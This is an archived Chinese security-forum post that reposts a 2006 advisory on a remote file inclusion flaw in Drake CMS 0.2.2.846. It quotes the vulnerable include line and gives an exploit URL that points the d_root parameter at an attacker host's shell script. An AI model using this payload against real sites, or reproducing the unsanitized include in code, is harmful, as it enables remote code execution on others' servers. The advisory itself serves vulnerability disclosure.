邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2006-11-6 12:12

Drake CMS <= 0.2.2.846 Remote File Include Vulnerability

[code]**********************************************************************************************************
                                          
                 Coding 4 Fun (c4f.pl)
                                
**********************************************************************************************************

* Drake CMS v0.2.2.846 ([url]http://drakecms.org[/url]) ;

* Class = Remote File Inclusion ;

* Download = [url]https://sourceforge.net/project/showfiles.php?group_id=166901&package_id=192077&release_id=420102[/url] ;

* Found by = GregStar (gregstar[at]c4f[dot]pl) ;

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code in "includes/xhtml.php" :

   include $d_root.'classes/kses.php';

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

  http://[target]/[path]/includes/xhtml.php?d_root=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------

Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,RFL,d3m0n,java,reyw,kw@ch and for all friends.



[/code]

页: [1]
© 1999-2008 EvilOctal Security Team